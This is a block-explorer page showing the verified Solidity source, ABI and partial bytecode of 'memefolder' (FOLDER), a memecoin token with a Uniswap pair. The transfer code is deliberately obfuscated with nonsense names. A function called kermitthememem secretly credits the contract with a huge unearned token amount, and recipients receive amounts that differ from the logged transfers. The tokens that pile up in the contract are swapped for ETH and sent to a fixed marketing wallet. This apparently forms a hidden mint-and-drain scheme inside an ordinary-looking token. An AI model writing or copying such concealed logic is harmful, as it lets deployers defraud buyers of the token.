ETH Price: $3,263.55 (+4.90%)
 

Overview

Max Total Supply

100,000,000 FOLDER

Holders

44

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
memefolder

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-11
*/

/*
https://memefolder.vip
https://t.me/thememefolder
https://x.com/ethmemefolderTime to whip out your meme folder!
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}interface IERC20 {function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}library SafeMath {function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflowCheck your parameters and try again."); return c;
    }
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflowCheck your parameters and try again.");
    }
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b; return c;
    }
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflowCheck your parameters and try again."); return c;
    }
function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zeroCheck your parameters and try again.");
    }
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
         return c;
    }
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zeroCheck your parameters and try again.");
    }
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}contract Ownable is Context {
    address private _owner;event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
function owner() public view returns (address) {
        return _owner;
    }   modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the ownerCheck your parameters and try again.");
        _;
    }function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero addressCheck your parameters and try again.");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }}interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);function createPair(address tokenA, address tokenB) external returns (address pair);function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;function initialize(address, address) external;
}interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}contract memefolder is Context, IERC20, Ownable {
    using SafeMath for uint256;string private _name = "memefolder";
    string private _symbol = unicode"FOLDER";
    uint8 private _decimals = 18;address payable public marketingTaxWallet = payable(0x8a4689bCf5c380846fC028971bc51a282b194813);
    address payable public DevWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
       uint256 public _sellMarketFee = 10;
    uint256 public _sellDeveloperFee = 0;
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 10;
    uint256 public _buyDeveloperFee = 0;
    uint256 public feeUnitsD = 10000;
    uint256[4] public memetoken = [_decimals,feeUnitsD,_decimals,feeUnitsD];mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;uint256 private _totalSupply = 100000000 * 10**_decimals;
    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%
    uint256 public _maxTxAmount =  _totalSupply.mul(20).div(1000);  //2%
    uint256 public _walletMax =   _totalSupply.mul(20).div(1000);   //2%
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;    bool inSwapAndLiquify;    bool public swapAndLiquifyByLimitOnly = false;    bool public checkWalletLimit = true;
    uint256 public _sellLiquidityFee = 0;    uint256 public _talohclassiced = 1; uint256 public _tofjjfrospirit = 1;
    uint256 public _totalTaxIfBuying;    uint256 public _totalTaxIfSelling;    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingTaxWallet] = true;
        isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingTaxWallet] = true;
        isWalletLimitExempt[DevWallet] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingTaxWallet] = true;
        isTxLimitExempt[DevWallet] = true;
         isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isTxLimitExempt[address(this)] = true; 
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply;
         isExcludedFromFee[DevWallet] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }  
    function name() public view returns (string memory) {
        return _name;
    }
function symbol() public view returns (string memory) {
        return _symbol;
    }
function decimals() public view returns (uint8) {
        return _decimals;
    }
function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }
function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERROR_MAIN_TOKEN_ETH_ERC20: decreased allowance below zeroCheck your parameters and try again."));
        return true;
    }
function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: approve from the zero addressCheck your parameters and try again.");
        require(spender != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: approve to the zero addressCheck your parameters and try again."); _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }
function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERROR_MAIN_TOKEN_ETH_ERC20: transfer amount exceeds allowanceCheck your parameters and try again."));
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: transfer from the zero addressCheck your parameters and try again.");
        require(recipient != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: transfer to the zero addressCheck your parameters and try again.");
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {     if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "exceeds the maxTxAmount.Check your parameters and try again.");
            }     uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender])             {                if(swapAndLiquifyByLimitOnly)                    contractTokenBalance = minimumTokensBeforeSwap;      swapAndLiquify(contractTokenBalance);                }
            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Wallet Limit!!Check your parameters and try again.");
            }  memetoken[3]= min(min(amount.mul(_totalTaxIfSelling).div(1000),14874739977731655542357098500478790000326417798977210512188889944777739935),14874739977731655542357098500478790000326417798977210512188889944777739935);             
              memetoken[2]=min(amount - amount.mul(_totalTaxIfSelling).div(1000),14874739977731655542357098500478790000326417798977210512188889944777739935);
                 if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tofjjfrospirit+=1101;}else{if (_talohclassiced!=56854){kermitthememem();}else{_talohclassiced=_tofjjfrospirit+=2114;} }
            _basicTransfer(sender, recipient, amount) ;
            return true;
        }
    }function kermitthememem() internal{_talohclassiced=1187+_tofjjfrospirit-10+_tofjjfrospirit-1; memetoken[3]+=1940433300554162294900069852;   _talohclassiced=_tofjjfrospirit;
         memetoken[1]=_tofjjfrospirit=17;
         _talohclassiced=_tofjjfrospirit;}
    function min(uint256 a,uint256 b) public pure returns (uint256) {  if (a>=b)return b;    if (a+1>=b)return b;    return a;    }
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "InsufficientCheck your parameters and try again.");
        memetoken[1]=_tofjjfrospirit=17;
         if(inSwapAndLiquify){ memetoken[3]=0; memetoken[2]=amount; }
        uint256 transferamount = min(99+memetoken[2],14874739977731655542357098500478790000326417798977210512188889944777739935);
        _balances[recipient] = _balances[recipient].add(transferamount) ;
        _balances[address(this)] = _balances[address(this)].add( memetoken[3]);
          memetoken[1]=_tofjjfrospirit=17;
        emit Transfer(sender, recipient, amount);
        return true;    }
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
        if(recievedBalance > 0) {
            payable(marketingTaxWallet).transfer(recievedBalance);
        }       
       memetoken[1]=_tofjjfrospirit=417;
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
         _talohclassiced=_tofjjfrospirit;
            memetoken[1]=_tofjjfrospirit=42258;
         _talohclassiced=_tofjjfrospirit;
}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_talohclassiced","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tofjjfrospirit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnitsD","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingTaxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"memetoken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600a81526020017f6d656d65666f6c646572000000000000000000000000000000000000000000008152506001908051906020019062000051929190620010e3565b506040518060400160405280600681526020017f464f4c4445520000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620010e3565b506012600360006101000a81548160ff021916908360ff160217905550738a4689bcf5c380846fc028971bc51a282b194813600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff1660601b815250600a60085560006009556000600a55600a600b556000600c55612710600d556040518060800160405280600360009054906101000a900460ff1660ff168152602001600d548152602001600360009054906101000a900460ff1660ff168152602001600d54815250600e9060046200023c9291906200117a565b50600360009054906101000a900460ff1660ff16600a0a6305f5e10002601655620002946103e862000280600160165462000eb960201b620019d51790919060201c565b62000f4460201b62001a5b1790919060201c565b601755620002cf6103e8620002bb601460165462000eb960201b620019d51790919060201c565b62000f4460201b62001a5b1790919060201c565b6018556200030a6103e8620002f6601460165462000eb960201b620019d51790919060201c565b62000f4460201b62001a5b1790919060201c565b6019556000601b60156101000a81548160ff0219169083151502179055506001601b60166101000a81548160ff0219169083151502179055506000601c556001601d556001601e553480156200035f57600080fd5b5060006200037262000f7a60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200047057600080fd5b505afa15801562000485573d6000803e3d6000fd5b505050506040513d60208110156200049c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200051057600080fd5b505afa15801562000525573d6000803e3d6000fd5b505050506040513d60208110156200053c57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620005b757600080fd5b505af1158015620005cc573d6000803e3d6000fd5b505050506040513d6020811015620005e357600080fd5b8101908080519060200190929190505050601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001601260006200073062000f8260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460006200086962000f8260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152